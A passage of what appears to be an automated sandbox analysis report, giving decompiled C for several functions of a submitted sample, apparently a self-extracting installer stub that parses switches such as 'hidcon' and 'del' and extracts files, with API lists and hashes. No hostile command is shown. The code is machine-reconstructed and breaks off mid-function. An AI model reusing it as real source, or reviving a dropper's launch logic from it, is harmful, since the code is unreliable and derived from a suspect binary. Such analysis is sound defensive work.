0x00403457
0x00000000

APIs

FindFirstFileW.KERNELBASE(?,?), ref: 00403464
FindClose.KERNEL32(00000000), ref: 00403470
SetFileAttributesW.KERNEL32(?,00000000), ref: 00403482
DeleteFileW.KERNEL32(?), ref: 0040348D

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: File$Find$AttributesCloseDeleteFirst
String ID:
API String ID: 3319113142-0
Opcode ID: 4bf8c35936a22843f0fe7391aab8452746d3470be5817f0cd1b69b00b5c16dfa
Instruction ID: 6b212ce663ba0d1f229e145bf37a5fa1ef80438995da8d320f9543b1e0401fa5
Opcode Fuzzy Hash: 4bf8c35936a22843f0fe7391aab8452746d3470be5817f0cd1b69b00b5c16dfa
Instruction Fuzzy Hash: ADF05E70A10A14B6CB226F305D4C7AB3EACAB4132BF544576E852F91D0D77C8A4646AE

Uniqueness

Uniqueness Score: -1.00%

Function 00409931, Relevance: 4.6, APIs: 3, Instructions: 59
fileCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00409931(void* __eax, WCHAR* _a4, intOrPtr _a8) {
				struct _WIN32_FIND_DATAW _v596;
				void* _t16;
				void* _t18;
				intOrPtr _t36;
				intOrPtr* _t38;

				_push(0x24);
				L0041C16C();
				if(__eax == 0) {
					_t38 = 0;
				} else {
					_t38 = E00415241(__eax);
				}
				if(E0041404F(_a4) != 0) {
					_t36 = _a8;
					E004160A2(_t36, _t38);
					_t16 = FindFirstFileW(_a4,  &_v596); // executed
					if(_t16 == 0xffffffff) {
						if(_t38 != 0) {
							 *((intOrPtr*)( *_t38 + 0x14))(1);
						}
						_t18 = 1;
					} else {
						 *((intOrPtr*)(_t36 + 8)) = _v596.nFileSizeLow;
						 *((intOrPtr*)(_t36 + 0xc)) = _v596.nFileSizeHigh;
						FindClose(_t16); // executed
						_t18 = 0;
					}
					return _t18;
				} else {
					if(_t38 != 0) {
						 *((intOrPtr*)( *_t38 + 0x14))(1);
					}
					return 1;
				}
			}

0x0040993b
0x0040993d
0x00409945
0x00409952
0x00409947
0x0040994e
0x0040994e
0x00409961
0x00409976
0x0040997c
0x0040998b
0x00409994
0x004099b5
0x004099bd
0x004099bd
0x004099c2
0x00409996
0x0040999c
0x004099a6
0x004099a9
0x004099af
0x004099af
0x00000000
0x00409963
0x00409965
0x0040996d
0x0040996d
0x00000000
0x00409972

APIs

??2@YAPAXI@Z.MSVCRT ref: 0040993D
FindFirstFileW.KERNELBASE(004227B8,?,00000000,00000000,004227B8), ref: 0040998B
FindClose.KERNELBASE(00000000), ref: 004099A9

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Find$??2@CloseFileFirst
String ID:
API String ID: 4002974997-0
Opcode ID: 91c647426eba9d3caa0601590869d6121fa3b5198e89070721a6e1596570726f
Instruction ID: 04f35bf0448d31e89553be1a3bfedde72a875c1ede13cb4c157a2b7218669a26
Opcode Fuzzy Hash: 91c647426eba9d3caa0601590869d6121fa3b5198e89070721a6e1596570726f
Instruction Fuzzy Hash: 62112CB1600111ABCB10AF25CC48AAF7BA4AF48714F00443EF846EB3D2C738DC41CB99

Uniqueness

Uniqueness Score: -1.00%

Function 004023DF, Relevance: 3.0, APIs: 2, Instructions: 41
windowCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E004023DF(void* __ecx, void* _a8, intOrPtr _a12) {
				intOrPtr _v8;
				union _ULARGE_INTEGER _v12;
				int _t13;
				WCHAR* _t20;
				void* _t22;
				void* _t25;

				_push(__ecx);
				_push(__ecx);
				if(( *0x422774 & 0x00000001) != 0) {
					L8:
					SendMessageW( *0x4228c4, 0x8001, 0,  &_a8);
					__eflags = 0;
					return 0;
				}
				_t13 = GetDiskFreeSpaceExW( *0x42289c,  &_v12, 0, 0); // executed
				if(_t13 == 0) {
					goto L8;
				}
				_t25 = _v8 - _a12;
				if(_t25 > 0) {
					goto L8;
				}
				if(_t25 < 0) {
					L5:
					_t20 = 0x2a;
					if(E00409617(E00403CE0(_t20), _t22, _t26) == 1) {
						 *0x422774 =  *0x422774 | 0x00000001;
						__eflags =  *0x422774;
						goto L8;
					}
					 *0x422728 = 0x6a;
					return 0x80004005;
				}
				_t26 = _v12.LowPart - _a8;
				if(_v12.LowPart >= _a8) {
					goto L8;
				}
				goto L5;
			}

0x004023e2
0x004023e3
0x004023eb
0x00402443
0x00402454
0x0040245a
0x00000000
0x0040245a
0x004023fb
0x00402403
0x00000000
0x00000000
0x00402408
0x0040240b
0x00000000
0x00000000
0x0040240d
0x00402417
0x00402419
0x00402429
0x0040243c
0x0040243c
0x00000000
0x0040243c
0x0040242b
0x00000000
0x00402435
0x00402412
0x00402415
0x00000000
0x00000000
0x00000000

APIs

GetDiskFreeSpaceExW.KERNELBASE(?,00000000,00000000), ref: 004023FB
SendMessageW.USER32(00008001,00000000,?), ref: 00402454

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: DiskFreeMessageSendSpace
String ID:
API String ID: 696007252-0
Opcode ID: 34fedf2ad7fc010070f55429fd0060592675988d9c8f944df9a105f38321c0a6
Instruction ID: be724390365365ade20085aba8859a3f911814d7ca7ed58b5616de4d2c55ee22
Opcode Fuzzy Hash: 34fedf2ad7fc010070f55429fd0060592675988d9c8f944df9a105f38321c0a6
Instruction Fuzzy Hash: 1F014F70600204BADB249F10DE49B5A3BA9EB01B04F904476E501FA1E0D7FADE418A1D

Uniqueness

Uniqueness Score: -1.00%

Function 00402008, Relevance: 31.7, APIs: 11, Strings: 7, Instructions: 242
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00402008(signed int* __ecx, intOrPtr __edx, signed int _a4, intOrPtr _a8, signed int _a12) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				char _v32;
				char _v44;
				char _v56;
				char _v68;
				char _v80;
				char _v92;
				char _v104;
				char _v120;
				void* _t55;
				signed int _t59;
				signed int _t60;
				signed int _t61;
				signed int _t62;
				signed int _t63;
				signed int _t64;
				signed int _t65;
				signed int _t66;
				signed int _t75;
				long _t77;
				long _t80;
				signed int _t88;
				signed int _t149;
				signed int* _t151;
				signed int _t152;
				signed int _t155;
				signed int _t156;
				void* _t157;

				_t151 = __ecx;
				_t159 = 0;
				_v20 = __edx;
				_v12 = 0;
				E004147DF(_t55,  &_v32);
				E00404255( &_v120, __edx, 0, _v20);
				_v16 = 0;
				_v5 = 0;
				E00405546(_t151, 0);
				_t152 =  *_t151;
				while(1) {
					L1:
					_t59 = E00404051(_t152, _t159, 0);
					_t159 = _t59;
					if(_t59 != 0) {
						break;
					}
					_t60 = E00404051(_t152, __eflags, 0);
					__eflags = _t60;
					if(__eflags != 0) {
						_v12 = _v12 | 0x00000001;
						_t152 = _t60;
						continue;
					}
					_t61 = E00404051(_t152, __eflags, 0);
					__eflags = _t61;
					if(__eflags != 0) {
						_t152 = _t61;
						__eflags =  *0x422740; // 0x1
						if(__eflags != 0) {
							L10:
							_v12 = _v12 | 0x00010000;
						}
						continue;
						L11:
						_t63 = E00404051(_t152, __eflags, 2);
						_t149 = _t63;
						__eflags = _t149;
						if(__eflags != 0) {
							__eflags =  *0x422468 - 0xffffffff;
							if(__eflags == 0) {
								_t156 = _t152 + 4;
								__eflags = _t156;
								__imp___wtol(_t156);
								 *0x422468 = _t63;
							}
							_t152 = _t149;
							continue;
						}
						_t64 = E00404051(_t152, __eflags, 3);
						__eflags = _t64;
						if(__eflags != 0) {
							L17:
							_t152 = _t64;
							continue;
						}
						_t64 = E00404051(_t152, __eflags, 3);
						__eflags = _t64;
						if(__eflags != 0) {
							goto L17;
						}
						_t65 = E004040D6(_t152, __eflags);
						__eflags = _t65;
						if(__eflags != 0) {
							_t152 = _t65;
							_v16 = 1;
							continue;
						}
						_t66 = E0040413E(_t152, __eflags);
						__eflags = _t66;
						if(__eflags != 0) {
							_t152 = _t66;
							_v16 = 2;
							continue;
						}
						_t150 = "\"";
						__eflags = _a4;
						if(_a4 == 0) {
							E004148C7( &_v32, _a8);
							goto L29;
						} else {
							__eflags =  *_t152 - 0x22;
							if( *_t152 == 0x22) {
								E00414864( &_v32, _t152);
							} else {
								E00414864( &_v32, "\"");
								E00414922( &_v32, _t152);
								E00414922( &_v32, "\"");
							}
							_t152 = E00404F59();
							__eflags = _t152;
							if(_t152 != 0) {
								E00414922( &_v32, " ");
								L29:
								_t68 = E00414922( &_v32, _t152);
							}
						}
						E004147DF(_t68,  &_v56);
						E00414803( &_v44, E00403022(_v32,  &_v56));
						E00405546( &_v56, __eflags);
						__eflags =  *0x4228d8; // 0x0
						if(__eflags == 0) {
							_t75 = E00401C2A(_v16);
							__eflags = _t75;
							if(_t75 == 0) {
								goto L42;
							} else {
								_t155 = _a12;
								__eflags =  *_t155;
								if(__eflags != 0) {
									E00414922( &_v44, _t155);
									while(1) {
										__eflags =  *_t155;
										if(__eflags == 0) {
											goto L36;
										}
										_t155 = _t155 + 2;
										__eflags = _t155;
									}
								}
								L36:
								E00405546( &_v44, __eflags);
								__eflags = _v5;
								if(__eflags != 0) {
									_t144 = _v44;
									_t77 = E00401D63(_v56, _v44, __eflags, _v12);
									__eflags = _t77;
									if(_t77 != 0) {
										SetLastError(_t77);
										goto L44;
									} else {
										goto L41;
									}
								} else {
									E00414803( &_v68,  *((intOrPtr*)(E0041476B( &_v80, E00414787( &_v92, E004147B1( &_v104, _t150,  &_v56), L"\" "),  &_v44))));
									_push(_v80);
									L0041C160();
									_push(_v92);
									L0041C160();
									_push(_v104);
									L0041C160();
									_t144 = _v12;
									_t157 = _t157 + 0xc;
									_t88 = E00401C59(_v68, _v12, __eflags, _v20); // executed
									_push(_v68);
									__eflags = _t88;
									if(_t88 == 0) {
										L0041C160();
										L44:
										__eflags =  *0x422774 & 0x00000010;
										if(( *0x422774 & 0x00000010) == 0) {
											L46:
											E00409684(_t144, 1, 0x10, _v32);
										} else {
											_t80 = GetLastError();
											__eflags = _t80 - 0x4c7;
											if(_t80 != 0x4c7) {
												goto L46;
											}
										}
										E00405A7A();
										_push(9);
										_pop(1);
									} else {
										L0041C160();
										L41:
										E00401BCE();
										goto L42;
									}
								}
							}
						}
						_push(_v44);
						L0041C160();
						_push(_v56);
						L0041C160();
						E00402FC9( &_v120);
						_push(_v32);
						L0041C160();
						return 1;
					}
					_t62 = E00404051(_t152, __eflags, 0);
					__eflags = _t62;
					if(__eflags != 0) {
						_t152 = _t62;
						goto L10;
					}
					goto L11;
				}
				_t152 = _t59;
				_v5 = 1;
				goto L1;
			}

0x00402010
0x00402012
0x00402018
0x0040201b
0x0040201e
0x00402029
0x00402030
0x00402033
0x00402036
0x0040203b
0x0040203d
0x0040203d
0x00402045
0x0040204a
0x0040204c
0x00000000
0x00000000
0x0040205e
0x00402063
0x00402065
0x00402067
0x0040206b
0x00000000
0x0040206b
0x00402077
0x0040207c
0x0040207e
0x00402080
0x00402082
0x00402088
0x0040209f
0x0040209f
0x0040209f
0x00000000
0x004020a8
0x004020b1
0x004020b6
0x004020b8
0x004020ba
0x004020bc
0x004020c3
0x004020c5
0x004020c5
0x004020c9
0x004020d0
0x004020d0
0x004020d5
0x00000000
0x004020d5
0x004020e5
0x004020ea
0x004020ec
0x00402100
0x00402100
0x00000000
0x00402100
0x004020f7
0x004020fc
0x004020fe
0x00000000
0x00000000
0x00402109
0x0040210e
0x00402110
0x00402112
0x00402114
0x00000000
0x00402114
0x00402122
0x00402127
0x00402129
0x0040212b
0x0040212d
0x00000000
0x0040212d
0x00402139
0x00402141
0x00402144
0x00402190
0x00000000
0x00402146
0x00402146
0x0040214a
0x00402167
0x0040214c
0x0040214d
0x00402156
0x0040215f
0x0040215f
0x00402178
0x0040217a
0x0040217c
0x00402186
0x00402195
0x00402199
0x00402199
0x0040217c
0x004021a1
0x004021b5
0x004021bd
0x004021c2
0x004021c8
0x004021d1
0x004021d6
0x004021d8
0x00000000
0x004021de
0x004021de
0x004021e1
0x004021e4
0x004021ea
0x004021f4
0x004021f4
0x004021f7
0x00000000
0x00000000
0x004021f1
0x004021f1
0x004021f1
0x004021f4
0x004021f9
0x004021fc
0x00402201
0x00402204
0x0040227e
0x00402284
0x00402289
0x0040228b
0x00402298
0x00000000
0x00000000
0x00000000
0x00000000
0x00402206
0x00402236
0x0040223b
0x0040223e
0x00402243
0x00402246
0x0040224b
0x0040224e
0x00402253
0x00402259
0x0040225f
0x00402264
0x00402267
0x00402269
0x00402273
0x0040229e
0x0040229e
0x004022a5
0x004022b4
0x004022bb
0x004022a7
0x004022a7
0x004022ad
0x004022b2
0x00000000
0x00000000
0x004022b2
0x004022c3
0x004022c8
0x004022ca
0x0040226b
0x0040226b
0x0040228d
0x0040228d
0x00000000
0x0040228d
0x00402269
0x00402204
0x004021d8
0x004022cb
0x004022ce
0x004022d3
0x004022d6
0x004022e0
0x004022e5
0x004022e8
0x004022f4
0x004022f4
0x00402094
0x00402099
0x0040209b
0x0040209d
0x00000000
0x0040209d
0x00000000
0x0040209b
0x0040204e
0x00402050
0x00000000

APIs

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

Part of subcall function 00404255: GetCurrentDirectoryW.KERNEL32(00000000,00000000,0042289C,?,?,00000000,0040202E,00000000,0042289C,?,00000000), ref: 00404273
Part of subcall function 00404255: GetCurrentDirectoryW.KERNEL32(00000000,00000000,00000000,?,00000000,0040202E,00000000,0042289C,?,00000000), ref: 00404286

_wtol.MSVCRT(?,00000002,00000000,00000000,00000000,00000000,00000000,0042289C,?,00000000), ref: 004020C9

Part of subcall function 00414864: ??2@YAPAXI@Z.MSVCRT ref: 00414896
Part of subcall function 00414864: ??3@YAXPAX@Z.MSVCRT ref: 0041489F
Part of subcall function 00414864: memcpy.MSVCRT ref: 004148B7

Part of subcall function 004148C7: ??2@YAPAXI@Z.MSVCRT ref: 004148EF
Part of subcall function 004148C7: ??3@YAXPAX@Z.MSVCRT ref: 004148F8
Part of subcall function 004148C7: memcpy.MSVCRT ref: 00414912

Part of subcall function 00414922: memcpy.MSVCRT ref: 0041494F

Part of subcall function 00414803: memcpy.MSVCRT ref: 00414829

??3@YAXPAX@Z.MSVCRT ref: 0040223E
??3@YAXPAX@Z.MSVCRT ref: 00402246
??3@YAXPAX@Z.MSVCRT ref: 0040224E
??3@YAXPAX@Z.MSVCRT ref: 0040226B
??3@YAXPAX@Z.MSVCRT ref: 00402273

Part of subcall function 00401D63: GetCommandLineW.KERNEL32(0041D9F0,00000000,00000000), ref: 00401D85
Part of subcall function 00401D63: ??3@YAXPAX@Z.MSVCRT ref: 00401E31
Part of subcall function 00401D63: ??3@YAXPAX@Z.MSVCRT ref: 00401E39
Part of subcall function 00401D63: ??3@YAXPAX@Z.MSVCRT ref: 00401E41
Part of subcall function 00401D63: ??3@YAXPAX@Z.MSVCRT ref: 00401E49
Part of subcall function 00401D63: ??3@YAXPAX@Z.MSVCRT ref: 00401E51
Part of subcall function 00401D63: ??3@YAXPAX@Z.MSVCRT ref: 00401E59
Part of subcall function 00401D63: ??3@YAXPAX@Z.MSVCRT ref: 00401E61
Part of subcall function 00401D63: ??3@YAXPAX@Z.MSVCRT ref: 00401E69
Part of subcall function 00401D63: ??3@YAXPAX@Z.MSVCRT ref: 00401E71
Part of subcall function 00401D63: ??3@YAXPAX@Z.MSVCRT ref: 00401E79
Part of subcall function 00401D63: GetStartupInfoW.KERNEL32(?,00000022,?,00000020,?,?,00000000,0000003A,?," -,sfxwaitall), ref: 00401E8C

SetLastError.KERNEL32(00000000,?,00000000,?,?,00000003,00000003,00000002,00000000,00000000,00000000,00000000,00000000,0042289C,?,00000000), ref: 00402298
GetLastError.KERNEL32(00000000,0042289C,?,00000000), ref: 004022A7
??3@YAXPAX@Z.MSVCRT ref: 004022CE
??3@YAXPAX@Z.MSVCRT ref: 004022D6
??3@YAXPAX@Z.MSVCRT ref: 004022E8

Strings

ExecuteParameters, xrefs: 0040216E
waitall, xrefs: 0040203E
hidcon, xrefs: 00402057
shc, xrefs: 004020DE
del, xrefs: 004020F0
nowait, xrefs: 00402070
forcenowait, xrefs: 0040208D

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$memcpy$??2@$CurrentDirectoryErrorLast$CommandInfoLineStartup_wtol
String ID: ExecuteParameters$del$forcenowait$hidcon$nowait$shc$waitall
API String ID: 3919891259-4019298132
Opcode ID: 78c2db777d54e32d3a651111b1cc7907bfb33c2b980e204299ca58bfd11eeace
Instruction ID: 21408dceba26f159f852cac34e7ef5db61450a97c3c3bcaf1411dbce6cc4b37b
Opcode Fuzzy Hash: 78c2db777d54e32d3a651111b1cc7907bfb33c2b980e204299ca58bfd11eeace
Instruction Fuzzy Hash: 40818E71E00219ABCB14BBA1D985AEF7775AB80304F24407FE612772D1DABC5D86CB4D

Uniqueness

Uniqueness Score: -1.00%

Function 004028F2, Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 294
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E004028F2(signed int* _a4, long _a8, signed int* _a12, signed int _a16) {
				char _v16;
				signed int _v24;
				char _v28;
				long _v32;
				signed int _v36;
				short _v42;
				signed short _v44;
				signed int _v52;
				short _v58;
				signed int _v60;
				struct _SYSTEMTIME _v76;
				signed int _t108;
				intOrPtr* _t110;
				signed int _t111;
				signed int _t116;
				intOrPtr* _t119;
				intOrPtr* _t122;
				signed int _t123;
				intOrPtr* _t125;
				signed int _t126;
				intOrPtr* _t130;
				signed int _t131;
				signed int _t132;
				signed int _t136;
				signed int _t138;
				signed int _t141;
				signed int _t149;
				signed int _t150;
				signed int _t151;
				signed int _t152;
				signed int _t154;
				signed int _t161;
				signed int _t171;
				intOrPtr _t184;
				signed int* _t211;
				intOrPtr* _t213;
				intOrPtr* _t218;
				signed int _t219;
				intOrPtr _t221;

				_t221 =  *0x4228cc; // 0x0
				if(_t221 == 0) {
					 *_a12 = 0;
					__eflags = _a16;
					if(_a16 == 0) {
						_t218 = _a4;
						_t211 = _t218 + 0x20;
						_t108 =  *_t211;
						_a4 = _t211;
						__eflags = _t108;
						if(_t108 != 0) {
							 *((intOrPtr*)( *_t108 + 8))(_t108);
							 *_t211 = 0;
						}
						_v60 = 0;
						_v58 = 0;
						_t110 =  *0x4227c0; // 0x9d2680
						_v52 = 0;
						_t111 =  *((intOrPtr*)( *_t110 + 0x18))(_t110, _a8, 3,  &_v60);
						__eflags = _t111;
						if(_t111 == 0) {
							E004147DF(_t111,  &_v16);
							__eflags = _v60;
							if(_v60 == 0) {
								L50:
								_t219 =  *((intOrPtr*)( *_t218 + 0x1c))(_t218, 0x64);
								L51:
								_push(_v16);
								L0041C160();
								L52:
								goto L53;
							}
							__eflags = _v60 - 8;
							if(_v60 != 8) {
								goto L50;
							}
							E00414864( &_v16, _v52);
							_t119 = E0041476B( &_v28, _t218 + 0xc,  &_v16);
							_t213 = _t218 + 0x24;
							E00414864(_t213,  *_t119);
							L0041C160();
							_v44 = 0;
							_v42 = 0;
							_t122 =  *0x4227c0; // 0x9d2680
							_v36 = 0;
							_t123 =  *((intOrPtr*)( *_t122 + 0x18))(_t122, _a8, 9,  &_v44, _v28);
							_a16 = _t123;
							__eflags = _t123;
							if(_t123 == 0) {
								__eflags = _v44;
								if(_v44 != 0) {
									__eflags = _v44 - 0x13;
									if(_v44 == 0x13) {
										 *((intOrPtr*)(_t218 + 0x44)) = _v36;
										L20:
										_t125 =  *0x4227c0; // 0x9d2680
										_t126 =  *((intOrPtr*)( *_t125 + 0x18))(_t125, _a8, 6,  &_v44);
										_a16 = _t126;
										__eflags = _t126;
										if(_t126 != 0) {
											goto L11;
										}
										__eflags = _v36;
										_t207 =  &_v44;
										 *(_t218 + 0x40) = 0 | _v36 != 0x00000000;
										_t130 =  *0x4227c0; // 0x9d2680
										_t131 =  *((intOrPtr*)( *_t130 + 0x18))(_t130, _a8, 0xc,  &_v44);
										_a8 = _t131;
										__eflags = _t131;
										if(_t131 == 0) {
											_t132 = _v44 & 0x0000ffff;
											__eflags = _t132;
											if(_t132 == 0) {
												GetLocalTime( &_v76);
												_t170 = _t218 + 0x38;
												SystemTimeToFileTime( &_v76, _t218 + 0x38);
												L28:
												__eflags =  *(_t218 + 0x40);
												_t184 =  *_t213;
												if( *(_t218 + 0x40) == 0) {
													_t136 = E00404402(_t184, _t170); // executed
													__eflags = _t136 - 0xffffffff;
													if(_t136 == 0xffffffff) {
														_t138 =  *((intOrPtr*)( *_t218 + 0x20))(_t218, 0x69, GetLastError());
														L17:
														_t219 = _t138;
														L18:
														E00414129( &_v44);
														goto L51;
													}
													__eflags = _t136 - 1;
													if(_t136 == 1) {
														L31:
														E00414129( &_v44);
														_push(_v16);
														L0041C160();
														_t219 = 0;
														goto L52;
													}
													_push(0x18);
													L0041C16C();
													_t171 = 0;
													__eflags = _t136;
													if(_t136 != 0) {
														 *((intOrPtr*)(_t136 + 4)) = 0;
														 *_t136 = 0x41db9c;
														_t67 = _t136 + 8;
														 *_t67 =  *(_t136 + 8) | 0xffffffff;
														__eflags =  *_t67;
														_t171 = _t136;
													}
													 *(_t218 + 0x1c) = _t171;
													__eflags = _t171;
													if(_t171 != 0) {
														 *((intOrPtr*)( *_t171 + 4))(_t171);
													}
													_t141 =  *(_t218 + 0x1c);
													 *(_t141 + 0x10) =  *(_t141 + 0x10) & 0x00000000;
													 *(_t141 + 0x14) =  *(_t141 + 0x14) & 0x00000000;
													__eflags = E00414091( *_t213, 1);
													if(__eflags != 0) {
														L48:
														E004160A2(_a4, _t171);
														 *_a12 = _t171;
														E00414129( &_v44);
														_push(_v16);
														L0041C160();
														E00414129( &_v60);
														_t116 = 0;
														goto L54;
													} else {
														_a8 = GetLastError();
														E00414839( &_v28, _t213);
														_t149 = E00403813( &_v28, __eflags);
														__eflags = _t149;
														if(_t149 >= 0) {
															_v24 = _t149;
															 *((short*)(_v28 + _t149 * 2)) = 0;
															_t150 = E0040468A(_v28, _v28);
															__eflags = _t150;
															if(_t150 != 0) {
																_t151 =  *(_t218 + 0x1c);
																 *(_t151 + 0x10) =  *(_t151 + 0x10) & 0x00000000;
																 *(_t151 + 0x14) =  *(_t151 + 0x14) & 0x00000000;
																_t152 = E00414091( *_t213, 1);
																__eflags = _t152;
																if(_t152 != 0) {
																	_push(_v28);
																	L0041C160();
																	goto L48;
																}
																_t154 =  *((intOrPtr*)( *_t218 + 0x20))(_t218, 0x6a, GetLastError());
																L41:
																_push(_v28);
																_t219 = _t154;
																L0041C160();
																__eflags = _t171;
																if(_t171 != 0) {
																	 *((intOrPtr*)( *_t171 + 8))(_t171);
																}
																goto L18;
															}
															_t154 =  *((intOrPtr*)( *_t218 + 0x1c))(_t218, 0x68);
															goto L41;
														}
														_t154 =  *((intOrPtr*)( *_t218 + 0x20))(_t218, 0x6a, _a8);
														goto L41;
													}
												}
												_t161 = E0040468A(_t184, _t207);
												__eflags = _t161;
												if(_t161 != 0) {
													goto L31;
												}
												_push(0x68);
												L16:
												_t138 =  *((intOrPtr*)( *_t218 + 0x1c))(_t218);
												goto L17;
											}
											__eflags = _t132 - 0x40;
											if(_t132 == 0x40) {
												_t170 = _t218 + 0x38;
												_t170->dwLowDateTime = _v36;
												_t170->dwHighDateTime = _v32;
												goto L28;
											}
											_push(0x66);
											goto L16;
										}
										E00414129( &_v44);
										_push(_v16);
										L0041C160();
										_t219 = _a8;
										goto L52;
									}
									_push(0x65);
									goto L16;
								}
								 *((intOrPtr*)(_t218 + 0x44)) = 0;
								goto L20;
							}
							L11:
							E00414129( &_v44);
							_push(_v16);
							L0041C160();
							_t219 = _a16;
							goto L52;
						} else {
							_t219 = _t111;
							L53:
							E00414129( &_v60);
							_t116 = _t219;
							L54:
							return _t116;
						}
					}
					return 0;
				}
				return 0x80004004;
			}

0x004028fb
0x00402901
0x00402910
0x00402912
0x00402915
0x0040291f
0x00402923
0x00402926
0x00402928
0x0040292b
0x0040292d
0x00402932
0x00402935
0x00402935
0x00402942
0x00402946
0x0040294a
0x0040294f
0x00402955
0x00402958
0x0040295a
0x00402966
0x0040296b
0x0040296f
0x00402c20
0x00402c28
0x00402c2a
0x00402c2a
0x00402c2d
0x00402c32
0x00000000
0x00402c32
0x00402975
0x0040297a
0x00000000
0x00000000
0x00402986
0x00402995
0x0040299c
0x004029a1
0x004029a9
0x004029ba
0x004029be
0x004029c2
0x004029c7
0x004029cd
0x004029d0
0x004029d3
0x004029d5
0x004029ef
0x004029f3
0x004029fa
0x004029ff
0x00402a1b
0x00402a1e
0x00402a1e
0x00402a2f
0x00402a32
0x00402a35
0x00402a37
0x00000000
0x00000000
0x00402a3b
0x00402a3f
0x00402a4b
0x00402a4e
0x00402a56
0x00402a59
0x00402a5c
0x00402a5e
0x00402a78
0x00402a7c
0x00402a7e
0x00402aa0
0x00402aa6
0x00402aae
0x00402ab4
0x00402ab4
0x00402ab8
0x00402aba
0x00402ae5
0x00402aea
0x00402aed
0x00402c18
0x00402a09
0x00402a09
0x00402a0b
0x00402a0e
0x00000000
0x00402a0e
0x00402af3
0x00402af6
0x00402acc
0x00402acf
0x00402ad4
0x00402ad7
0x00402adc
0x00000000
0x00402adc
0x00402af8
0x00402afa
0x00402aff
0x00402b02
0x00402b04
0x00402b06
0x00402b09
0x00402b0f
0x00402b0f
0x00402b0f
0x00402b13
0x00402b13
0x00402b15
0x00402b18
0x00402b1a
0x00402b1f
0x00402b1f
0x00402b24
0x00402b27
0x00402b2b
0x00402b3a
0x00402b3c
0x00402be1
0x00402be5
0x00402bf0
0x00402bf2
0x00402bf7
0x00402bfa
0x00402c03
0x00402c08
0x00000000
0x00402b42
0x00402b4c
0x00402b4f
0x00402b57
0x00402b5c
0x00402b5e
0x00402b8e
0x00402b91
0x00402b98
0x00402b9d
0x00402b9f
0x00402bad
0x00402bb0
0x00402bb4
0x00402bbe
0x00402bc3
0x00402bc5
0x00402bd8
0x00402bdb
0x00000000
0x00402be0
0x00402bd3
0x00402b6b
0x00402b6b
0x00402b6e
0x00402b70
0x00402b76
0x00402b78
0x00402b81
0x00402b81
0x00000000
0x00402b78
0x00402ba6
0x00000000
0x00402ba6
0x00402b68
0x00000000
0x00402b68
0x00402b3c
0x00402abc
0x00402ac1
0x00402ac3
0x00000000
0x00000000
0x00402ac5
0x00402a03
0x00402a06
0x00000000
0x00402a06
0x00402a80
0x00402a83
0x00402a8f
0x00402a92
0x00402a97
0x00000000
0x00402a97
0x00402a85
0x00000000
0x00402a85
0x00402a63
0x00402a68
0x00402a6b
0x00402a70
0x00000000
0x00402a70
0x00402a01
0x00000000
0x00402a01
0x004029f5
0x00000000
0x004029f5
0x004029d7
0x004029da
0x004029df
0x004029e2
0x004029e7
0x00000000
0x0040295c
0x0040295c
0x00402c33
0x00402c36
0x00402c3b
0x00402c3d
0x00000000
0x00402c3e
0x0040295a
0x00000000
0x00402917
0x00000000

Strings

&@, xrefs: 00402B09

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: &@
API String ID: 0-1362318888
Opcode ID: 6b404e0bb22cf63d80f32e281185e3a78eeeff0b0969da7a8ad0899a509df477
Instruction ID: 0c2c45a1d49559d50b2892bbdf1ddf1765a092562d7aa30539bf8f0f12bc17d3
Opcode Fuzzy Hash: 6b404e0bb22cf63d80f32e281185e3a78eeeff0b0969da7a8ad0899a509df477
Instruction Fuzzy Hash: 42B16171A00205AFCB20EFA4C9889EE77B5FF48314F14452AF502BB2D1DBB89985CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00402CB1, Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 230
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00402CB1(intOrPtr* __ecx, void* __edx, void* __eflags) {
				char _v5;
				signed int _v12;
				signed int _v16;
				char* _v20;
